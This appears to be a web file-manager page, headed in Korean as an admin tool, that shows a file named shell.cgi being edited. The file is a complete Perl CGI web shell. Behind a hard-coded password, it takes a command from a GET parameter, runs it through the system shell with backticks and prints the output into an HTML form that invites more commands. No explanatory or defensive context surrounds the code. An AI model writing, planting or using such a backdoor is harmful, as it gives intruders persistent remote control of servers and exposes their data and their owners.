관리-도구

편집 파일: shell.cgi

#!/usr/bin/env perl use strict; use warnings; use CGI; my $password = 'yourpassword'; # Set a password print "Content-type: text/html\n\n"; my $query = CGI->new; my $cmd = $query->param('cmd'); my $pass = $query->param('pass'); if ($pass && $pass eq $password) { if ($cmd) { print "<pre>"; my $output = `$cmd 2>&1`; print $output; print "</pre>"; } else { print "No command received."; } } else { print "Unauthorized access."; } print qq( <form method="GET"> Password: <input type="password" name="pass"><br> Command: <input type="text" name="cmd" placeholder="Enter command"> <input type="submit" value="Run"> </form> );